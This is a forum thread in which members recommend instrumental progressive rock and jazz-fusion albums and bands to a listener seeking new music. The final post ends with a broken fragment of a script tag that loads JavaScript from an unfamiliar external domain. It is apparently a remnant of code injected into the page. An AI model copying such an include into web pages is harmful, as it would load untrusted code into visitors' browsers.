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New Instrumental Prog Albums?

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Topic: New Instrumental Prog Albums?
Posted By: alerlyking
Subject: New Instrumental Prog Albums?
Date Posted: November 08 2019 at 09:35
So I have recently been into instrumental albums a lot lately. I have already found a lot of the newer more popular instrumental bands/musicians such as Polyphia, Jason Richardson, Plini, Intervals, etc. I also have really been into the "Prog/Jazz Fusion" bands, (I don't know the exact name of the style) such as the Dixie Dregs in their What If album, and Return to Forever in their Romantic Warrior album. That is the sound that most caught my attention so I am definitely looking for some bands along that style. I am also aware of some of the "pure prog" like Focus and Samla Mammas Manna. 

So I guess my three questions are First, what are some good instrumental albums (preferably "Prog/Jazz Fusion")? Secondly what are some good instrumental albums to of come out this year (I'm trying to make a top 5 list for fun)? Lastly, what are your more obscure Instrumental recommendations?



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Posted By: Grumpyprogfan
Date Posted: November 08 2019 at 09:51
These are just a few worthy listens. I probably forgot a few.

Dewa Budjana
The Aristocrats
Animals as Leaders
Pat Metheny
Nova Collective
Lean-Luc Ponty
Chick Corea Elektric Band
Antoine Fafard
FAT - Fabulous Austrian Trio
Helmet of Gnats
Hiromi
Allan Holdsworth
Marco Minnemann - Broken Orange (mostly instrumental)
Simon Phillips Protocol 
Tauk
Bill Bruford solo and Earthworks
Tohpati
Trioscapes
Morglbl
Evan Brewer
Brand X

That should keep you busy for awhile.
 



Posted By: alerlyking
Date Posted: November 08 2019 at 10:13
Thank you very much. Out of your list the only band that I had listened to was the Aristocrats. I am looking forward to checking out the rest!!


Posted By: wiz_d_kidd
Date Posted: November 08 2019 at 10:39
Accordo dei Contrari - Violato Intatto
Vespero - Carto Marina
Wobbler - From Silence to Somewhere
All Traps on Earth - A Drop of Light
Dialato - Live with David Cross
Sonar - Vortex
Far Corner - Risk
Kotebel - Cosmology
Rez Abbasi & Junction - Behind the Vibration
Robeone - Circles
Shob - Solide




Posted By: AFlowerKingCrimson
Date Posted: November 08 2019 at 11:15
Ozric Tentacles for the win. Not mentioning them is like not mentioning Yes or Genesis in a list of symphonic bands. Djam Karet also. Also, most fusion(jazz rock fusion) is instrumental for the most part. Same thing with post rock(if that's your thing). Check the band and if there's vocals listed you can avoid it.

Someone mentioned All Traps on Earth and Wobbler. Well, if you mention them you have to mention Anglagard.  Also, "the snowgoose" by Camel and "....di terra" by Banco.


Posted By: Tapfret
Date Posted: November 08 2019 at 11:50
Squintaloo - Über Bord
Hands down my favourite instrumental album of the decade. Their self titled album is outstanding as well.





Also check out:
The Pneumatic Transit
Mother Turtle
The Physics House Band
Gösta Berlings Saga


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Posted By: mathman0806
Date Posted: November 08 2019 at 13:39
From this year, I recommend "Climbing on Air" by On the Raw. < ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">



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